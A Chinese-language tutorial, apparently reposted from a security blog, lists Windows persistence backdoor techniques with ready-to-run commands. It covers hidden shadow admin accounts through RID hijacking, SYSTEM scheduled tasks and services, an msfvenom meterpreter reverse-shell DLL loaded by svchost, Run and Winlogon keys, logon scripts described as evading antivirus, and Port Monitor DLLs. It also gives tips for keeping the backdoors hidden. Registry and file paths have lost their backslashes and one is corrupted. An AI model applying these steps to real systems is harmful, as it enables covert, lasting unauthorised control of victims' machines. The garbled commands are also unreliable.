0x00 前言
在獲取到目標機器的權(quán)限后,如果想長時間的對目標進行控制,那么繞不開的一個操作就是權(quán)限持久化,為了實現(xiàn)這個目的,許許多多的后門技術(shù)應(yīng)運而生。因此,本文對常見的系統(tǒng)后門技術(shù)進行了總結(jié)并對其利用方式進行了詳細的說明,希望可以對大家的學(xué)習(xí)提供一些幫助。
0x01 創(chuàng)建影子賬戶
影子賬戶其實就是隱藏賬戶,無論通過 “計算機管理” 還是命令行查詢都無法看到,只能在注冊表中找到其信息。
hacker 常常通過創(chuàng)建具有管理員權(quán)限的影子賬戶,在目標主機上實現(xiàn)權(quán)限維持
注意需要擁有管理員級別的權(quán)限
下面來實操如何創(chuàng)建影子賬戶:
① 在目標機創(chuàng)建一個名為 “Hack” 的賬戶
net user Hack$ 123Abc!@# /add # “$” 符號表示該用戶為隱藏賬戶,無法通過命令行查詢到,但是通過計算機管理的 “本地用戶和組” 可以看到隱藏用戶
此時,Hack$ 還是標準用戶,為了使其擁有管理員級別的權(quán)限,還需要修改注冊表。
② 在注冊表中找到 HKEY_LOCAL_MACHINESAMSAM,單擊右鍵,在彈出的菜單中選擇 “權(quán)限” 選項,將 Administrator 用戶的權(quán)限設(shè)置為 “完全控制”。
該注冊表項的內(nèi)容在標準用戶和管理員權(quán)限下都是不可見的
③ 在注冊表項 HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames 處選擇 Administrator 用戶,在左側(cè)找到與右邊顯示的鍵值的類型 “0x1f4” 相同的目錄名。
復(fù)制 000001F4 表項的 F 屬性的值。
④ 在找到與隱藏賬戶 Hack$ 相應(yīng)的目錄 “000003EB”,將復(fù)制的 000001F4 表項中的 F 屬性值粘貼到 000003EB 表項中的 F 屬性值處,并確認。
到此處,Hack$ 用戶劫持了 Administrator 用戶的 RID,從而使 Hack$ 用戶獲得 Administrator 用戶的權(quán)限。
⑤ 分別選中注冊表項 “Hack$” 和 “000003EB” 并導(dǎo)出,然后執(zhí)行以下命令,刪除 Hack$ 用戶:
net user Hack$ /del
⑥ 將剛才導(dǎo)出的兩個注冊表項導(dǎo)入注冊表。
到此,影子賬戶 Hack$ 就創(chuàng)建好了。此時查看 “本地用戶和組” 也看不到該賬戶,只在注冊表中才能看到。
嘗試使用影子賬戶登錄遠程桌面
0x02 計劃任務(wù)后門
通過創(chuàng)建計劃任務(wù),讓目標主機在特定的時間點或規(guī)定的周期內(nèi)重復(fù)運行 hacker 預(yù)先準備的后門程序,從而實現(xiàn)權(quán)限持久化。
執(zhí)行以下命令,在目標主機上創(chuàng)建一個名為 Backdoor 的計劃任務(wù),每 60 秒以 SYSTEM 權(quán)限運行一次后門程序 shell.exe。
schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:WindowsSystem32shell.exe /RU System /F # /TN,指定要創(chuàng)建的計劃任務(wù)的名稱 # /SC,指定計劃任務(wù)執(zhí)行頻率 # /MO,指定計劃任務(wù)執(zhí)行周期 # /TR,指定計劃任務(wù)運行的程序路徑 # /RU,指定計劃任務(wù)運行的用戶權(quán)限 # /F,如果指定的任務(wù)已經(jīng)存在,則強制創(chuàng)建
注意:如果以 SYSTEM 權(quán)限運行計劃任務(wù),就需要擁有管理員級別的權(quán)限。
當(dāng)計劃任務(wù)觸發(fā)后,目標主機就會上線
計算機上所有的計劃任務(wù)都存儲在了 “計算機管理” 中的 “計劃任務(wù)程序庫”。
可以看到,計劃任務(wù)在 “計劃任務(wù)程序庫” 中以類似文件目錄的形式存儲,所有計劃任務(wù)都存儲在最內(nèi)層的目錄中。因此,為了增強隱蔽性,建議在創(chuàng)建計劃任務(wù)后門時遵守這個存儲規(guī)范。
執(zhí)行以下命令,在 MicrosoftWindowsAppTask 路徑下創(chuàng)建一個名為 “AppRun” 的計劃任務(wù)后門。
schtasks /Create /TN MicrosoftWindowsAppTaskAppRun /SC daily /ST 08:00 /MO 1 /TR C:WindowsSystem32shell.exe /RU System /F
0x03 系統(tǒng)服務(wù)后門
對于啟動類型為 “自動” 的系統(tǒng)服務(wù),hacker 可以將服務(wù)運行的二進制文件路徑設(shè)置為后門程序或其他攻擊載荷,當(dāng)系統(tǒng)或服務(wù)重啟時,可以重新獲取對目標主機的控制權(quán)。但是,前提條件是已經(jīng)獲取了目標主機的管理員權(quán)限。
1. 創(chuàng)建系統(tǒng)服務(wù)
執(zhí)行以下命令,在目標主機上創(chuàng)建一個名為 Backdoor 的系統(tǒng)服務(wù),啟動類型為 “自動”,啟動權(quán)限為SYSTEM:
sc create Backdoor binpath= "cmd.exe /k C:WindowsSystem32shell.exe" start= "auto" obj= "LocalSystem" # binpath,指定服務(wù)的二進制文件路徑,注意 “=” 后必須有一個空格 # start,指定啟動類型 # obj,指定服務(wù)運行的權(quán)限
系統(tǒng)或服務(wù)重啟時,將以 SYSTEM 權(quán)限運行后門程序 shell.exe,目標主機就會上線。
2. 利用現(xiàn)有的系統(tǒng)服務(wù)
通過修改現(xiàn)有服務(wù)的配置信息,使服務(wù)啟動時運行指定的后門程序。
hacker 可以通過 “sc config” 命令修改服務(wù)的 binpath 選項,也可以嘗試修改服務(wù)注冊表的 ImagePath 鍵,二者都直接指定了相應(yīng)服務(wù)的啟動時運行的二進制文件。
① 執(zhí)行以下命令,將該服務(wù)注冊表中的 ImagePath 鍵指向預(yù)先上傳的攻擊載荷。
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRegSvc /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:UsersPublicshell.exe" /f
② 系統(tǒng)或服務(wù)重啟時,將以 SYSTEM 權(quán)限運行后門程序 shell.exe,目標主機就會上線。
3. 利用 svchost.exe 啟動服務(wù)
svchost.exe 是 Windows 的系統(tǒng)文件,svchost.exe 是從動態(tài)鏈接庫(DLL)中運行的服務(wù)的通用主機進程名稱。該程序本身只是作為服務(wù)的宿主,許多系統(tǒng)服務(wù)通過注入該程序進程中啟動,所以系統(tǒng)中會存在多個該程序的進程。
在 Windows 系統(tǒng)中,需要由 svchost.exe 進程啟動的服務(wù)將以 DLL 形式實現(xiàn)。在安裝這些服務(wù)時,需要將服務(wù)的可執(zhí)行文件路徑指向 svchost.exe。在啟動這些服務(wù)時,由 svchost.exe 調(diào)用相應(yīng)服務(wù)的 DLL 文件,而具體調(diào)用哪個 DLL 是由該服務(wù)在注冊表的信息所決定的。
下面以 wuauserv 服務(wù)(Windows Update)為例進行講解:
在注冊表中定位到 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetserviceswuauserv。從 imagepath 鍵值可以得知,該服務(wù)啟動的可執(zhí)行文件的路徑為 C:Windowssystem32svchost.exe -k netsvcs,說明該服務(wù)是依靠 svchost.exe 加載 DLL 文件來實現(xiàn)的。
wuauserv 服務(wù)的注冊表下還有一個 Parameters 子項,其中的 ServiceDll 鍵值表明該服務(wù)由哪個 DLL 文件負責(zé)。當(dāng)服務(wù)啟動時,svchost.exe 就會加載 wuaueng.dll 文件,并執(zhí)行其提供的具體服務(wù)。
注意:系統(tǒng)會根據(jù)服務(wù)可執(zhí)行文件路徑中的參數(shù)對服務(wù)進行分組,如 C:Windowssystem32svchost.exe -k netsvcs 表明該服務(wù)屬于 netsvcs 這個服務(wù)組。通常,每個 svchost 進程負責(zé)運行一組服務(wù)。因此,并不是每啟動一個服務(wù)就會增加一個 svchost.exe 進程。
svchost.exe 的所有服務(wù)分組位于注冊表的 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost 中。通過 svchost.exe 加載啟動的服務(wù)都要在該表項中注冊。
實戰(zhàn)中,hacker 可以通過 svchost.exe 加載惡意服務(wù),以此來建立持久化后門。由于惡意服務(wù)的 DLL 將加載到 svchost.exe 進程,惡意進程不是獨立運行的,因此具有很高的隱蔽性。
接下來進行實操:
① 使用 msf 生成一個負責(zé)提供惡意服務(wù)的 DLL 文件,然后將生成的 DLL 上傳到目標主機的 System32 目錄。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=6666 -f dll > reverse_tcp.dll
② 創(chuàng)建名為 Backdoor 的服務(wù),并以 svchost 加載的方式啟動,服務(wù)分組為 netsvc
sc create Backdoor binpath= "C:Windowssystem32svchost.exe -k netsvc" start= "auto" obj= "LocalSystem"
③ 將 Backdoor 服務(wù)啟動時加載的 DLL 設(shè)為 reverse_tcp.dll
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoorParameters /v ServiceDll /t REG_EXPAND_SZ /d "C:WindowsSystem32 everse_tcp.dll"
④ 配置服務(wù)描述
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoor /v Description /t REG_SZ /d "Windows Service"
⑤ 配置服務(wù)顯示名稱
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoor /v DisplayName /t REG_SZ /d "Backdoor"
⑥ 創(chuàng)建服務(wù)新分組 netsvc,并將 Backdoor 服務(wù)添加進去
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost" /v netsvc /t REG_MULTI_SZ /d Backdoor
⑦ 當(dāng)系統(tǒng)重啟時,Svchost 以 SYSTEM 權(quán)限加載惡意服務(wù),目標主機就會上線。
0x04 啟動項/注冊表鍵后門
hacker 可以通過將后門程序添加到系統(tǒng)啟動文件夾或通過注冊表運行鍵引用來進行權(quán)限持久化。添加的后門程序?qū)⒃谟脩舻卿浀纳舷挛闹袉?,并且將具有與賬戶相關(guān)聯(lián)的權(quán)限等級。
1. 系統(tǒng)啟動文件夾
將程序放置在啟動文件夾中會導(dǎo)致該程序在用戶登錄時執(zhí)行。
Windows 系統(tǒng)有兩種常見的啟動文件夾:
# 位于以下目錄中的程序?qū)⒃谥付ㄓ脩舻卿洉r啟動 C:Users[Username]AppDataRoamingMicrosoftWindowsStart C:Users[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup # 位于以下目錄中的程序?qū)⒃谒杏脩舻卿洉r啟動 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
嘗試將后門程序放入 hack 用戶的啟動文件夾
切換用戶登錄,成功上線
2. 運行鍵(Run Keys)
Windows 系統(tǒng)上有許多注冊表項可以用來設(shè)置在系統(tǒng)啟動或用戶登錄時運行指定的程序或加載指定 DLL 文件,hacker 可以對此類注冊表進行濫用,以建立持久化后門。
當(dāng)用戶登錄時,系統(tǒng)會依次檢查位于注冊表運行鍵(Run Keys)中的程序,并在用戶登錄的上下文中啟動。Windows 系統(tǒng)默認創(chuàng)建以下運行鍵,如果修改 HKEY_LOCAL_MACHINE 下的運行鍵,需要擁有管理員級別的權(quán)限。
# 以下注冊表項中的程序?qū)⒃诋?dāng)前用戶登錄時啟動 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce # 以下注冊表中的程序?qū)⒃谒杏脩舻卿洉r啟動 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionRunOnce
執(zhí)行以下命令,在注冊表運行鍵中添加一個名為 “Backdoor” 的鍵,并將鍵值指向后門程序的絕對路徑。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v Backdoor /t REG_SZ /d "C:WindowsSystem32shell.exe"
當(dāng)用戶重新登錄時,目標主機就會上線。
3. Winlogon Helper
Winlogon 是 Windows 系統(tǒng)的組件,用于處理與用戶有關(guān)的各種行為,如登錄、注銷、在登錄時加載用戶配置文件、鎖定屏幕等。這些行為由系統(tǒng)注冊表管理,注冊表中的一些鍵值定義了在 Windows 登錄期間會啟動哪些進程。
hacker 可以濫用此類注冊表鍵值,使 Winlogon 在用戶登錄時執(zhí)行惡意程序,以此建立持久化后門。
常見的有以下兩個:
# 指定用戶登錄時執(zhí)行的用戶初始化程序,默認為 userinit.exe HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit # 指定 Windows 身份驗證期間執(zhí)行的程序,默認為 explorer.exe HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonshell
執(zhí)行以下命令,在 Userinit 鍵值中添加一個后門程序。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit /d "C:Windowssystem32userinit.exe,shell.exe" /f
當(dāng)用戶重新登錄時,目標主機就會上線。
注意:在濫用 Userinit 和 Shell 鍵時需要保留鍵值中的原有程序,將待啟動的后門程序添加到原有程序后面,并以 “,” 進行分隔。并且,后面程序需要被上傳至 C:Windowssystem32 目錄。
4. Logon Scripts
Logon Scripts是優(yōu)先于很多殺毒軟件啟動的,所以可以通過這種方式繞過殺毒軟件敏感操作攔截。
執(zhí)行以下命令,在 HKEY_CURRENT_USER/Enviroment 下新建字符串鍵值 UserInitMprLogonScript,鍵值設(shè)置為想要執(zhí)行的程序或bat腳本的路徑:
reg add "HKEY_CURRENT_USEREnvironment" /v UserInitMprLogonScript /t REG_SZ /d "C:Windowssystem32shell.exe"
重啟系統(tǒng)或重新登陸賬戶,成功上線
0x05 Port Monitors后門
打印后臺處理服務(wù)(Print Spooler)負責(zé)管理 Windows 系統(tǒng)的打印作業(yè)。與該服務(wù)的交互是通過 Print Spooler API 執(zhí)行的,其中包含 AddMonitor 函數(shù),用于安裝 Port Monitors(本地端口監(jiān)聽器),并連接配置、數(shù)據(jù)和監(jiān)視器文件。AddMonitor 函數(shù)能夠?qū)?DLL 注入 spoolsv.exe 進程,以實現(xiàn)相應(yīng)功能,并且通過創(chuàng)建注冊表鍵,hacker 可以在目標系統(tǒng)上進行權(quán)限持久化。
注意:利用該技術(shù)需要擁有管理員級別的權(quán)限。
① 通過 msf 生成一個 64 位的惡意 DLL
② 將生成的 DLL 上傳到目標主機的 C:Windowssystem32 目錄中,執(zhí)行一下命令,通過編輯注冊表安裝一個端口監(jiān)視器。
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintMonitorsTestMonitor" /v "Driver" /t REG_SZ /d "reverse_tcp.dll"
當(dāng)系統(tǒng)重啟時,Print Spooler 服務(wù)在啟動過程中會讀取 Monitors 注冊表項的所有子健,并以 SYSTEM 權(quán)限加載 Driver 鍵值所指定的 DLL 文件。
0x06 總結(jié)
在本文的很多例子中,其實都會或多或少與一個東西有關(guān),那就是注冊表。關(guān)于注冊表,我覺得值得花時間去仔細研究一番,一定會有很大的收獲。
關(guān)于系統(tǒng)后門技術(shù)其實還有許許多多,本文只是將常見的一些技術(shù)拿出來進行了分享,希望可以對大家的學(xué)習(xí)有幫助。如有不對,歡迎指正。
審核編輯:劉清
-
System
+關(guān)注
關(guān)注
0文章
165瀏覽量
36988 -
SAM
+關(guān)注
關(guān)注
0文章
112瀏覽量
33545 -
hacker
+關(guān)注
關(guān)注
0文章
4瀏覽量
1365
原文標題:常見系統(tǒng)后門技術(shù)總結(jié)與分析利用
文章出處:【微信號:菜鳥學(xué)安全,微信公眾號:菜鳥學(xué)安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
評論